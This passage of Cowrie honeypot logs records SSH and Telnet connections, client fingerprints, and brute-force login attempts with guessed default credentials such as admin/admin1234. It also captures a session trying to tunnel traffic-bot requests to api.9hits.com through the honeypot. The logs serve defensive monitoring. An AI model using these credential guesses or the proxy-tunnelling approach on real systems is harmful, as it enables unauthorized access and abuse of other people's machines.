{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:23.621937Z","src_ip":"91.92.40.36","session":"08b8b6d0f3ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:23.746403Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:23.895384Z","src_ip":"91.92.40.36","session":"ea7c5bdabda8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:23.898926Z","src_ip":"91.92.40.36","session":"ea7c5bdabda8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"12345","message":"login attempt [nagios/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:26.581854Z","src_ip":"91.92.40.36","session":"ea7c5bdabda8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:28.169233Z","src_ip":"91.92.40.36","session":"ea7c5bdabda8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55478,"dst_ip":"159.203.135.109","dst_port":22,"session":"44036dbdf2f0","protocol":"ssh","message":"New connection: 91.92.40.36:55478 (159.203.135.109:22) [session: 44036dbdf2f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:31.466251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:32.082706Z","src_ip":"91.92.40.36","session":"44036dbdf2f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:32.636923Z","src_ip":"91.92.40.36","session":"44036dbdf2f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.367892026901245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:36.057784Z","src_ip":"172.81.62.90","session":"fd4ad585f739","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"s0p0rt3","message":"login attempt [soporte/s0p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:36.910033Z","src_ip":"91.92.40.36","session":"44036dbdf2f0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:37.951812Z","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:37.956457Z","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:37.960043Z","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.281746Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9[\\x8eAr0>\\xb8\\xf0\\xd7\\xf3\\xcfoaR\\xc4\\xb3]\\x8a\\xd9\\xd4\\xfd\\x98\\x86@\\xe5\\x01a%L\\x81| \\\\\\xb1\\x1a\\xf3\\x17\\x08!\\xb2\\xbc\\xa6\\xa2\\xc7\\xd7t-\\xa8\\xc4[\\xe58\\xed\\x8c\\x0b\\xcd\\xcd\\x84\\x90\\xb9|\\xff\\xe2h\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 V!\\xc1\\xdd\\xe1I\\xd6\\xe3\\xe5\\x99\\x18\\x19\\xa0\\xc3W\\xbf77\\x14X\\xd8]\\x01\\xde\\x823\\xe2\\xc1\\xf0n`v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc9[\\x8eAr0>\\xb8\\xf0\\xd7\\xf3\\xcfoaR\\xc4\\xb3]\\x8a\\xd9\\xd4\\xfd\\x98\\x86@\\xe5\\x01a%L\\x81| \\\\\\xb1\\x1a\\xf3\\x17\\x08!\\xb2\\xbc\\xa6\\xa2\\xc7\\xd7t-\\xa8\\xc4[\\xe58\\xed\\x8c\\x0b\\xcd\\xcd\\x84\\x90\\xb9|\\xff\\xe2h\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 V!\\xc1\\xdd\\xe1I\\xd6\\xe3\\xe5\\x99\\x18\\x19\\xa0\\xc3W\\xbf77\\x14X\\xd8]\\x01\\xde\\x823\\xe2\\xc1\\xf0n`v\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.284669Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.288627Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.96 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1160\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.291177Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'_=YUxZX0dNUjlyX3Q4I2JJTw%3D%3DZeh8mKZHBgm%2FEwd2kHVCVZIM%2FgB36E4orn07sOtYnEiYsbXtc%2B4dcyz%2Br8t8%2FSSvrlh3p744vdgUa5yqqLCRXIinZNxOrzyGLRbEX8mpWQDBYtOhK3jiCbMKaZqMAUvrMe1wo6SvfJoyoPrPSHTRo%2BwKjWLcBBWvKe2yCh77qnSz8J9bCSmGyFVSrafnYPtcrlt1RQQttr3G3D8O22VThitTf%2FJi8SrOa9e1L2ECP10CAWURbZSGfgRAWDsA0QtJwiAYPqLUHYFcuyqzDrxPObisDn2AvcPMddb3jyWN%2BECa7%2FrZ6%2FpSQh9Te0MUaQbkGrRFTJ%2BPWjqiZgK221qLuSV2c14%2BK0cnhVl3C7q%2FhH%2FQC1olVqTOyg0m0UmsxYyfxsljlSrOUkMm6KafQPbkSjeS8djPk0wUdPUcD5piwSpeS63YXahow2NeSvENvnNyBH1p6nOroHzYkp8eSr6v8A2r0Gz2c1cVlz5Mv5%2Fi5q456ZYbFBNFuUjKXALsyKFRBTlSUUDLSgHJ0wkQw834W3OSCJ0USKCBS4bKkLUDjeZsdoReitZA9Nd0I3cyxxnQu88d2POhtb5dcm3Pz1NczzP8e4vmIypm0E6cyhtof%2BEawYAEZNgR4K8Kwls0jlmocJoxY0TvL8m6%2B4uRZBXyNm%2B19tA0JfVXKm87BOyq6f4K4gZZmT7DPlaM3vk2LJpApWPph%2Fvme3t2C7gvDbe2m8Sugu27E6oJ8rqdnysPMIO3YkPrLOjz5T1%2FkfENgbUsVJpiEup9aOyZ8igAlPCGFHBJt5ohdJdIhyQdWURKFqPTX9fqlfg8b4U%2FUrpBcn1wCafqORtPRrHDoAQtRDa5eoVnX4rtWD3ySuHbF5LAab3ow%2B%2FKTdtwA2LdjknbOHFAdh1iq8QY8V6ysO6QM%2BUOY0d4BNwR1%2By9PYbvJIMeSQty2z55BdVe8Mx%2BUpJ4hLWfMzWLLt%2BgURscLHyoc9FF%2BDfVFbgBOjE6E7II0I1t96ARiRAInDHd%2FZLZENFe0DahvhLD3ARLshck%2FC1rV08Co4NepmWUoyZlrrZN20vUzc0%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'_=YUxZX0dNUjlyX3Q4I2JJTw%3D%3DZeh8mKZHBgm%2FEwd2kHVCVZIM%2FgB36E4orn07sOtYnEiYsbXtc%2B4dcyz%2Br8t8%2FSSvrlh3p744vdgUa5yqqLCRXIinZNxOrzyGLRbEX8mpWQDBYtOhK3jiCbMKaZqMAUvrMe1wo6SvfJoyoPrPSHTRo%2BwKjWLcBBWvKe2yCh77qnSz8J9bCSmGyFVSrafnYPtcrlt1RQQttr3G3D8O22VThitTf%2FJi8SrOa9e1L2ECP10CAWURbZSGfgRAWDsA0QtJwiAYPqLUHYFcuyqzDrxPObisDn2AvcPMddb3jyWN%2BECa7%2FrZ6%2FpSQh9Te0MUaQbkGrRFTJ%2BPWjqiZgK221qLuSV2c14%2BK0cnhVl3C7q%2FhH%2FQC1olVqTOyg0m0UmsxYyfxsljlSrOUkMm6KafQPbkSjeS8djPk0wUdPUcD5piwSpeS63YXahow2NeSvENvnNyBH1p6nOroHzYkp8eSr6v8A2r0Gz2c1cVlz5Mv5%2Fi5q456ZYbFBNFuUjKXALsyKFRBTlSUUDLSgHJ0wkQw834W3OSCJ0USKCBS4bKkLUDjeZsdoReitZA9Nd0I3cyxxnQu88d2POhtb5dcm3Pz1NczzP8e4vmIypm0E6cyhtof%2BEawYAEZNgR4K8Kwls0jlmocJoxY0TvL8m6%2B4uRZBXyNm%2B19tA0JfVXKm87BOyq6f4K4gZZmT7DPlaM3vk2LJpApWPph%2Fvme3t2C7gvDbe2m8Sugu27E6oJ8rqdnysPMIO3YkPrLOjz5T1%2FkfENgbUsVJpiEup9aOyZ8igAlPCGFHBJt5ohdJdIhyQdWURKFqPTX9fqlfg8b4U%2FUrpBcn1wCafqORtPRrHDoAQtRDa5eoVnX4rtWD3ySuHbF5LAab3ow%2B%2FKTdtwA2LdjknbOHFAdh1iq8QY8V6ysO6QM%2BUOY0d4BNwR1%2By9PYbvJIMeSQty2z55BdVe8Mx%2BUpJ4hLWfMzWLLt%2BgURscLHyoc9FF%2BDfVFbgBOjE6E7II0I1t96ARiRAInDHd%2FZLZENFe0DahvhLD3ARLshck%2FC1rV08Co4NepmWUoyZlrrZN20vUzc0%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.296013Z","src_ip":"23.175.50.51","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":14594,"dst_ip":"159.203.135.109","dst_port":22,"session":"5117e174622d","protocol":"ssh","message":"New connection: 91.92.40.36:14594 (159.203.135.109:22) [session: 5117e174622d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.478669Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.856263Z","session":"a7a1c441e3fb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.869880Z","src_ip":"91.92.40.36","session":"5117e174622d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:38.877576Z","src_ip":"91.92.40.36","session":"5117e174622d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:39.173884Z","src_ip":"91.92.40.36","session":"44036dbdf2f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":49181,"dst_ip":"10.17.0.5","dst_port":22,"session":"43441b1f676c","protocol":"ssh","message":"New connection: 38.46.222.137:49181 (10.17.0.5:22) [session: 43441b1f676c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:39.247791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:32:39.252074Z","src_ip":"38.46.222.137","session":"43441b1f676c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcf